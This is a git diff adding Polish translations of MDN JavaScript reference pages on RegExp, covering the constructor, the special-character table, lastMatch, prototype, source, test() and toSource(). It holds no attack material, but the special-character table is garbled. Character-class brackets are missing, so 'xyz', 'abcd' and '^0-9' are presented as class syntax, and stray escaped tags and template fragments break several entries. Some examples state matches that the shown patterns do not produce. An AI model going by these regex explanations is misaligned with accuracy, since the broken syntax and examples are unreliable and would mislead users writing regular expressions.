+<p>Odpowiednik tekstowy lub funkcja-konstruktor <code>RegExp</code>.</p>
+
+<p>Odpowiednik tekstowy jest używany jak poniżej:</p>
+
+<pre class="brush: js"><em>/wzór/flagi</em>
+</pre>
+
+<p>Konstruktor jest używany jak poniżej:</p>
+
+<pre class="brush: js">new RegExp("<em>wzór</em>"[, "<em>flagi</em>"])
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>wzór</code></dt>
+ <dd>Tekst wyrażenia regularnego.</dd>
+ <dt><code>flagi</code></dt>
+ <dd>Jeśli podane, flagi mogą mieć jakąkolwiek kombinację poniższych wartości: <code>g</code> - wyszukiwanie globalne, <code>i</code> - ignoruje wielkość liter, <code>m</code> - wyszukiwanie w wielu liniach.</dd>
+</dl>
+
+<p>Zauważ, że parametry w formacie tekstowym nie używają cudzysłowu do oznaczenia ciągów znaków, kiedy parametry funkcji konstruktora używają cudzysłów. Tak, więc poniższe wyrażenia tworzą to samo wyrażenie regularne:</p>
+
+<pre class="brush: js">/ab+c/i;
+new RegExp("ab+c", "i");
+</pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Podczas użycia funkcji konstruktora, standardowe znaki ucieczki (<em>string escape rule</em>, poprzedzanie znaków specjalnych <em>backslash'’ "\" kiedy użyte w ciągu znaków) są wymagane. Na przykład poniższe dwa przykłady są identyczne:</em></p>
+
+<pre class="brush: js">re = new RegExp("\\w+");
+re = /\w+/;
+</pre>
+
+<h3 id="Znaki_specjalne_w_wyra.C5.BCeniach_regularnych" name="Znaki_specjalne_w_wyra.C5.BCeniach_regularnych">Znaki specjalne w wyrażeniach regularnych</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header">Znak</td>
+ <td class="header">Znaczenie</td>
+ </tr>
+ <tr>
+ <td><code>\</code></td>
+ <td>
+ <p>Dla znaków które zwykle są traktowane dosłownie, oznacza że następny znak jest specjalny i nie ma być interpretowany standardowo.</p>
+
+ <p>Na przykład, <code>/b/</code> szuka znaku "b". Wstawiając backslash (<code>\</code>) przed b, to jest używając <code>/\b/</code>, znak staje się specjalny "znajdź granicę wyrazu".</p>
+
+ <p>-lub-</p>
+
+ <p>Dla znaków, które zwykle są traktowane jako specjalne oznacza, że następny znak jest zwykły powinien być interpretowany dosłownie.</p>
+
+ <p>Na przykład, <code>*</code> jest znakiem specjalnym oznaczającym 0 lub więcej wystąpień poprzedzającego znaku powinno być znalezionych; na przykład, <code>/a*/</code> oznacza "znajdź 0 lub więcej znaków <code>a</code>". Aby znaleźć dosłownie <code>*</code>, poprzedź ten znak backslashem (<code>\</code>), na przykład <code>/a\*/</code> znajduje "a*".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>^</code></td>
+ <td>
+ <p>Znajduje początek wejścia. Jeśli flaga wielu linii (ang. <em>multiline</em>) jest ustawiona na <em>prawda</em> (<code>true</code>), znajduje również od razu po znaku nowej linii.</p>
+
+ <p>Na przykład, <code>/^B/</code> nie znajdzie "B" w "Andrzej B" ale znajdzie "B" w "Bogusław A".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>$</code></td>
+ <td>
+ <p>Oznacza koniec wejścia. Jeśli flaga wielu linii (ang. <em>multiline</em>) jest ustawiona na <em>prawda</em> (<code>true</code>), znajduje również bezpośrednio przed znakiem końca linii.</p>
+
+ <p>Na przykład, <code>/a$/</code> nie znajdzie "a" w "mrówkojad" ale znajdzie "a" w "mrówka".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>*</code></td>
+ <td>
+ <p>Znajduje poprzedzającą pozycję 0 lub więcej razy.</p>
+
+ <p>Na przykład, <code>/bu*/</code> znajdzie "buuuu" w "Duch krzyknął buuuu" i "b" w "Głośnik zabrzmiał basowo" ale nic w "Ptak zaśpiewał".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>+</code></td>
+ <td>
+ <p>Znajduje poprzedzającą pozycję 1 lub więcej razy. Równoważne do <code>{1,}</code>.</p>
+
+ <p>Na przykład, <code>/r+/</code> dopasuje się do "r" w "cukierek" i do wszystkich "r" w "cukierrrrrrrek".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>?</code></td>
+ <td>
+ <p>Znajduje poprzedzającą pozycję 0 razy lub 1 raz.</p>
+
+ <p>Na przykład <code>/o?ąt?/</code> znajdzie "oł" w "anioł" i "ąt" w "kąt".</p>
+
+ <p>Jeśli zostanie użyte zaraz po którymś ze znaków *, +, ?, lub {}, to wymusza przejście do trybu niezachłannego (domyślne jest dopasowanie zachłanne), czyli dopasowanie następuje do najmniejszego ciągu spełniającego wyrażenie, a nie do największego.</p>
+
+ <p>Pytajnik używany jest także w <em>lookahead assertions</em>, opisanych pod <code>(?=)</code>, <code>(?!)</code> i <code>(?:)</code> w tej tabeli.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>.</code></td>
+ <td>
+ <p>(Kropka) znajduje jakikolwiek pojedynczy znak poza znakiem nowej linii.</p>
+
+ <p>Na przykład, <code>/.a/</code> znajdzie "ja" i "na" w "jabłko rośnie na drzewie ale arbuz nie", ale nie znajdzie "al" i "ar".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(x)</code></td>
+ <td>
+ <p>Znajduje "x" i zapamiętuje to dopasowanie. Nazywa się to "nawiasy wychwytujące" (ang. <em>capturing parentheses</em>).</p>
+
+ <p>Na przykład, <code>/(foo)/</code> znajduje i zapamiętuje "foo" w "foo bar". Znaleziony pod-ciąg (<em>substring</em>) może być ponownie wywołany elementów tablicy wynikowej <code>1, ..., n</code> jak również z predefiniowanych własności obiektu <code>RegExp</code>, <code>$1, ..., $9</code>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(?:x)</code></td>
+ <td>
+ <p>Znajduje "x", ale nie pamięta dopasowania. Nazywa się to "nawiasy niewychwytujące" (ang. <em>non-capturing parentheses</em>). Znaleziony podciąg (<em>substring</em>) nie może być wywołany ponownie z elementów wynikowych tablicy <code>1, ..., n</code> ani za pomocą właściwości obiektu <code>RegExp</code>, <code>$1, ..., $9</code>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>x(?=y)</code></td>
+ <td>
+ <p>Znajduje "x", tylko wtedy, gdy zaraz po "x" jest "y". Na przykład, <code>/Jacek(?=Szprotka)/</code> znajdzie "Jacek" tylko, jeśli zaraz po tym jest wyraz "Szprotka". <code>/Jacek(?=Szprotka|Mróz)/</code> znajdzie "Jacek" tylko, jeśli po tym jest zaraz wyraz "Szprotka" lub "Mróz"). Jednakże, ani "Szprotka" ani "Mróz" nie jest częścią wyników.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>x(?!y)</code></td>
+ <td>
+ <p>Znajduje "x", tylko, jeśli po "x" nie ma "y". Na przykład, <code>/\d+(?!\,)/</code> zostanie dopasowane do liczby całkowitej, tylko jeśli nie ma po niej przecinka.</p>
+
+ <p><code>/\d+(?!\,)/.exec("3,141")</code> zostanie dopasowane tylko do 141, nie zostanie dopasowane do 3, bo wystąpił po niej przecinek.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>x|y</code></td>
+ <td>
+ <p>Znajduje "x" lub "y".</p>
+
+ <p>Na przykład, <code>/zielone|czerwone/</code> znajdzie "zielone" w "zielone jabłko" i "czerwone" w "czerwone jabłko".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>{n}</code></td>
+ <td>
+ <p>Gdzie <code>n</code> jest dodatnią liczbą całkowitą. Znajduje dokładnie <code>n</code> wystąpień poprzedzającej pozycji.</p>
+
+ <p>Na przykład, <code>/u{2}/</code> nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i pierwsze dwa "u" w "cuuukierek".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>{n,}</code></td>
+ <td>
+ <p>Gdzie <code>n</code> jest dodatnią liczbą całkowitą. Znajduje, co najmniej <code>n</code> wystąpień poprzedzającej pozycji.</p>
+
+ <p>Na przykład, <code>/u{2,}/</code> nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i w "cuuukierek".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>{n,m}</code></td>
+ <td>
+ <p>Gdzie <code>n</code> i <code>m</code> są pozytywnymi liczbami całkowitymi. Wyszukuje, co najmniej <code>n</code> i co najwyżej <code>m</code> wystąpień poprzedzającego wyrażenia.</p>
+
+ <p>Na przykład, <code>/u{1,3}/</code> nie znajdzie niczego w "ckierek", znajdzie "u" w "cukierek", znajdzie dwa "u" w "cuukierek" i pierwsze trzy "u" w "cuuuuukierek". Zauważ, że podczas wyszukiwania w "cuuuuukierek", wynik wyszukiwania to "uuu" mimo iż ciąg oryginalny zawiera więcej liter "u".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>xyz</code></td>
+ <td>
+ <p>Zestaw znaków. Wyszukuje jakikolwiek z podanych znaków. Możesz podać przedział znaków używając myślnika.</p>
+
+ <p>Na przykład, <code>abcd</code> oznacza tyle samo, co <code>a-d</code>. Wyrażenia te znajdą "b" w "buziak" i "d" w "kasza".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>^xyz</code></td>
+ <td>
+ <p>Przeciwny zestaw znaków. Wyszukuje cokolwiek, co nie jest wewnątrz nawiasów. Podobnie jak powyżej można podać zakres znaków używając myślnika.</p>
+
+ <p>Na przykład, <code>^abc</code> oznacza tyle samo, co <code>^a-c</code>. Wyrażenia te znajdą "u" w "buziak" i "k" w "kasza".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\\b</code></td>
+ <td>
+ <p>Wyszukuje znak backspace (nie mylić z <code>\b</code>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\b</code></td>
+ <td>
+ <p>Wyszukuje granicę wyrazów (ang. <em>word boundary</em>), jak na przykład spację (nie mylić z <code>\\b</code>).</p>
+
+ <p>Na przykład, <code>/\bn\w/</code> zaznaczy "no" w "noonday"; <code>/\wy\b/</code> zaznaczy "ly" w "possibly yesterday".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\B</code></td>
+ <td>
+ <p>Znajduje brak granicy niewyrazu (ang. <em>non-word boundary</em>).</p>
+
+ <p>Na przykład, <code>/\w\Bn/</code> zaznaczy "on" w "noonday", a <code>/y\B\w/</code> zaznaczy "ye" w "possibly yesterday".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\cX</code></td>
+ <td>
+ <p>Gdzie <code>X</code> jest literą od A do Z. Zaznacza znak kontrolny w ciągu.</p>
+
+ <p>Na przykład, <code>/\cM/</code> zaznaczy <code>control-M</code> w <em>string</em>u.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\d</code></td>
+ <td>
+ <p>Znajduje cyfrę. Odpowiednik <code>0-9</code>.</p>
+
+ <p>Na przykład, <code>/\d/</code> lub <code>/0-9/&lt;code&gt; zaznaczy "2" w "B2 jest numerem pokoju". &lt;/td&gt; &lt;/tr&gt; </code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>\D</td>
+ <td>
+ <p>Wyszukuje jakikolwiek znak nieliczbowy. Odpowiednik <code>^0-9') }}</code>.</p>
+
+ <p>Na przykład, <code>/\D/</code> lub <code>/^0-9/</code> zaznaczy "B" w "B2 jest numerem pokoju".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\f</code></td>
+ <td>
+ <p>Znajduje znak wysuwu wiersza (<em>form feed</em>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\n</code></td>
+ <td>
+ <p>Znajduje znak następnego wiersza (<em>line feed</em>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\r</code></td>
+ <td>
+ <p>Znajduje znak powrotu karetki (<em>carriage return</em>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\s</code></td>
+ <td>
+ <p>Znajduje pojedynczy biały znak (ang. <em>white space character</em>), wliczając w to spację, tabulator, znak wysuwu wiersza, znak następnego wiersza. Odpowiednik <code>\\f\\n\\r\\t\\u00A0\\u2028\\u2029</code>.</p>
+
+ <p>Na przykład, <code>/\s\w*/</code> zaznaczy " bar" w "foo bar".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\S</code></td>
+ <td>
+ <p>Zaznacza jakikolwiek znak inny niż biały (ang. <em>white space</em>). Odpowiednik <code>^ \\f\\n\\r\\t\\u00A0\\u2028\\u2029</code>.</p>
+
+ <p>Na przykład, <code>/\S/\w*</code> zaznaczy "foo" w "foo bar".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\t</code></td>
+ <td>
+ <p>Znajduje tabulator.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\v</code></td>
+ <td>
+ <p>Znajduje pionowy tabulator (ang. <em>vertical tab</em>).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\w</code></td>
+ <td>
+ <p>Znajduje jakikolwiek znak alfanumeryczny i znak podkreślenia <code>_</code>. Odpowiednik <code>A-Za-z0-9_</code>.</p>
+
+ <p>Na przykład, <code>/\w/</code> zaznaczy "j" w "jabłko", "5" w "??5.28", i "3" w "3D".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\W</code></td>
+ <td>
+ <p>Zaznaczy jakikolwiek znak niewyrazowy. Odpowiednik <code>^A-Za-z0-9_</code>.</p>
+
+ <p>Na przykład, <code>/\W/</code> lub <code>/^$A-Za-z0-9_/</code> znajdzie "%" w "50%".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\n</code></td>
+ <td>
+ <p>Gdzie <code>n</code> jest pozytywną liczbą całkowitą. Odwołanie wsteczne (ang. <em>back reference</em>) do ostatniego podciągu (<em>substring</em>) pasującego do n wyrażenia umieszczonego w nawiasie (licząc od nawiasu otwierającego "(").</p>
+
+ <p>Na przykład, <code>/jabłko(,)\spomarańcz\1/</code> pasuje do "jabłko, pomarańcz," w "jabłko, pomarańcz, wiśnia, brzoskwinia". Dokładniejszy przykład znajduje się po tabeli.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\0</code></td>
+ <td>
+ <p>Wyszukuje znak NUL. Bezpośrednio po <code>\0</code> nie powinna znajdować się żadna liczba.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\xhh</code></td>
+ <td>
+ <p>Znajduje znak o kodzie hh (dwie cyfry szesnastkowe)</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\uhhhh</code></td>
+ <td>
+ <p>Znajduje znak o kodzie hhhh (cztery cyfry szesnastkowe).</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Notacja tekstowa zostaje skompilowana, kiedy wyrażenie regularne jest wykonane. Używaj notacji tekstowej wtedy, kiedy wyrażenie regularne pozostanie niezmienione. Na przykład, jeśli użyjesz notacji tekstowej do konstrukcji wyrażenia regularnego w pętli, wyrażenie to nie zostanie przekompilowane podczas każdej iteracji.</p>
+
+<p>Konstruktor obiektu wyrażenia regularnego, na przykład <code>new RegExp("ab+c")</code>, pozwala na kompilację podczas czasu wykonywania (ang. <em>runtime compilation</em>) wyrażenia. Używaj funkcji konstruktora, kiedy wiesz, że wzór wyrażenia regularnego będzie się zmieniać lub gdy nie znasz tego wzoru i pobierasz go z innego źródła, jak na przykład wejście użytkownika.</p>
+
+<p>Oddzielny predefiniowany obiekt <code>RegExp</code> jest dostępny dla każdego okna, to jest każdy oddzielny wątek uruchomienia JavaScriptu dostaje jego własny obiekt <code>RegExp</code>. Jako że każdy skrypt uruchamiany jest cały w oddzielnym wątku, zapewnia to, iż oddzielne skrypty nie nadpisują wartości obiektu <code>RegExp</code>.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp.prototype")}}</dt>
+ <dd>Pozwala na dodanie własności wszystkim obiektom.</dd>
+ <dt><code>RegExp.length</code></dt>
+ <dd>Wartość parametru <code>RegExp.length</code> wynosi 2.</dd>
+ <dt>{{jsxref("RegExp.lastIndex")}}</dt>
+ <dd>Indeks, od którego rozpoczynać następne szukanie.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<p>Globalny objekt <code>RegExp</code> nie posiada własnych metod, jednam może dziedziczyć metody z innych obiektów.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_replace" name="Przyk.C5.82ad:_Zastosowanie_metody_replace">Przykład: Zastosowanie metody <code>replace</code></h3>
+
+<p>Poniższy przykład używa metodę <code>replace</code> do zamiany wyrazów w ciągu (<em>stringu</em>). Podczas zamiany tekstu, skrypt używa "<code>$1</code>" i "<code>$2</code>" do oznaczenia wyników odpowiadających im nawiasów we wzorze wyrażenia regularnego.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = "Jan Kowalski";
+var newstr = str.replace(re, "$2, $1");
+document.write(newstr);
+</pre>
+
+<p>Wyświetli "Kowalski, Jan".</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>Rozdział w <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a> o <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html
new file mode 100644
index 0000000000..4d229d5d81
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html
@@ -0,0 +1,54 @@
+---
+title: RegExp.lastMatch ($&)
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/lastMatch
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Niestandardowa właściwość <strong>lastMatch</strong> jest właściwością statyczną, tylko do odczytu wyrażeń regularnych, który zawiera ostatnie dopasowane znaki. <code>RegExp.$&amp;</code> jest aliasem tej właściwości.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.lastMatch
+RegExp['$&amp;']
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>lastMatch</code> property is static, it is not a property of an individual regular expression object. Instead, you always use it as <code>RegExp.lastMatch</code> or <code>RegExp['$&amp;'].</code></p>
+
+<p>The value of the <code>lastMatch</code> property is read-only and modified whenever a successful match is made.</p>
+
+<p>You can not use the shorthand alias with the dot property accessor (<code>RegExp.$&amp;</code>), because the parser expects an expression with "&amp;" in that case and a {{jsxref("SyntaxError")}} is thrown. Use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">bracket notation for property access</a>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_lastMatch_and">Using <code>lastMatch</code> and <code>$&amp;</code></h3>
+
+<pre class="brush: js">var re = /hi/g;
+re.test('hi there!');
+RegExp.lastMatch; // "hi"
+RegExp['$&amp;']; // "hi"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Niestandardowe. Nie jest częścią aktualnej specyfikacji.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.lastMatch")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html
new file mode 100644
index 0000000000..0a9312a1e1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html
@@ -0,0 +1,53 @@
+---
+title: RegExp.prototype
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/prototype
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Reprezentuje prototyp obiektów danej klasy. Pozwala na dodawanie własności i metod do wszystkich instancji tej klasy.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<p>Zauważ, że niektóre własności obiektu <code>RegExp</code> mają dwie nazwy: długą i krótką (Perl<em>ową</em>). Obydwie nazwy zawsze odwołują się do tej samej wartości. Perl jest językiem programowania, z którego uformowały się wyrażenia regularne JavaScriptu.</p>
+
+<dl>
+ <dt><code>RegExp.prototype.constructor</code></dt>
+ <dd>Określa funkcję, która tworzy prototyp obiektu.</dd>
+ <dt>{{jsxref("RegExp.prototype.flags")}} {{experimental_inline}}</dt>
+ <dd>A string that contains the flags of the <code>RegExp</code> object.</dd>
+ <dt>{{jsxref("RegExp.prototype.global")}}</dt>
+ <dd>Czy przeszukiwać cały ciąg w poszukiwaniu wszystkich możliwych dopasowań czy tylko w poszukiwaniu pierwszego.</dd>
+ <dt>{{jsxref("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>Czy ignorować wielkość liter podczas wyszukiwania.</dd>
+ <dt>{{jsxref("RegExp.prototype.multiline")}}</dt>
+ <dd>Czy w ciągach z wieloma liniami, szukać w wielu liniach.</dd>
+ <dt>{{jsxref("RegExp.prototype.source")}}</dt>
+ <dd>Tekst wzoru.</dd>
+ <dt>{{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}</dt>
+ <dd>Whether or not the search is sticky.</dd>
+ <dt>{{jsxref("RegExp.prototype.unicode")}} {{experimental_inline}}</dt>
+ <dd>Whether or not Unicode features are enabled.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp.prototype.compile()")}} {{deprecated_inline}}</dt>
+ <dd>(Re-)compiles a regular expression during execution of a script.</dd>
+ <dt>{{jsxref("RegExp.prototype.exec()")}}</dt>
+ <dd>Uruchamia wyszukiwanie dopasowania w ciągu podanym poprzez parametr tej metody.</dd>
+ <dt>{{jsxref("RegExp.prototype.test()")}}</dt>
+ <dd>Testuje dopasowanie w ciągu podanym poprzez parametr tej metody.</dd>
+ <dt>{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Zwraca literał obiektu reprezentujący podany obiekt; możesz użyć tej wartości do utworzenia nowego obiektu. Przesłania metodę <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toSource" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Object/toSource">Object.toSource</a>.</dd>
+ <dt>{{jsxref("RegExp.prototype.toString()")}}</dt>
+ <dd>Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toString" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Object/toString">Object.toString</a>.</dd>
+</dl>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html
new file mode 100644
index 0000000000..78cf4c2a64
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html
@@ -0,0 +1,29 @@
+---
+title: RegExp.prototype.source
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/source
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność tylko do odczytu stanowiąca wzór tekstu, wykluczając przesyłanie slashy.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>source</code> jest własnością indywidualnej instancji wyrażenia regularnego obiektu.</p>
+
+<p>Nie możesz zmienić tej własności bezpośrednio.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.flags")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html
new file mode 100644
index 0000000000..e654bfb236
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html
@@ -0,0 +1,53 @@
+---
+title: RegExp.prototype.test()
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/test
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wykonuje poszukiwanie łańcucha znaków pomiędzy wyrażeniem regularnym i określonym wzorcem. Zwraca <code>true</code> lub <code>false</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.test(<var>str</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>str</code> </dt>
+ <dd>Łańcuch znaków w zależności od tego, czym jest wyrażenie regularne.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli chcesz wiedzieć, czy wzorzec został znaleziony w łańcuchu znaków zastosuj metodę <code>test</code> (podobną do metody {{jsxref("String.prototype.search()")}}); aby uzyskać więcej informacji (lecz powolniej wykonywana) zastosuj metodę {{jsxref("RegExp.prototype.exec()", "exec()")}}(podobną do metody {{jsxref("String.prototype.match()")}} ).</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_test" name="Przyk.C5.82ad:_Zastosowanie_test">Przykład: Zastosowanie <code>test()</code></h3>
+
+<p>Poniższy funkcja wypisuje wiadomość, której tekst zależy od powodzenia testu:</p>
+
+<pre class="brush: js">function testinput(re, str){
+ if (re.test(str)) {
+ midstring = " zawiera ";
+ } else {
+ midstring = " nie zawiera ";
+ }
+ console.log(str + midstring + re.source);
+}
+</pre>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide">JavaScript Guide</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html
new file mode 100644
index 0000000000..4ac074392b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html
@@ -0,0 +1,47 @@
+---
+title: RegExp.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/toSource
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource
+---
+<p>{{JSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.toSource()
+</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toSource()</code> zwraca następujące wartości:</p>
+
+<ul>
+ <li>Dla wbudowanego obiektu {{jsxref("RegExp")}}, <code>toSource()</code> zwraca następujący łańcuch znaków sygnalizujący, który kod źródłowy nie jest dostępny:
+
+ <pre class="brush: js">function RegExp() {
+ [native code]
+}
+</pre>
+ </li>
+ <li>Dla instancji {{jsxref("RegExp")}}, <code>toSource()</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li>
+</ul>
+
+<p>Ta metoda jest często nazywana wewnętrzną metodą JavaScriptu i nie jest widoczna w kodzie.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html
new file mode 100644
index 0000000000..fb78233ff2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html
@@ -0,0 +1,46 @@
+---
+title: RegExp.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/toString
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - RegExp
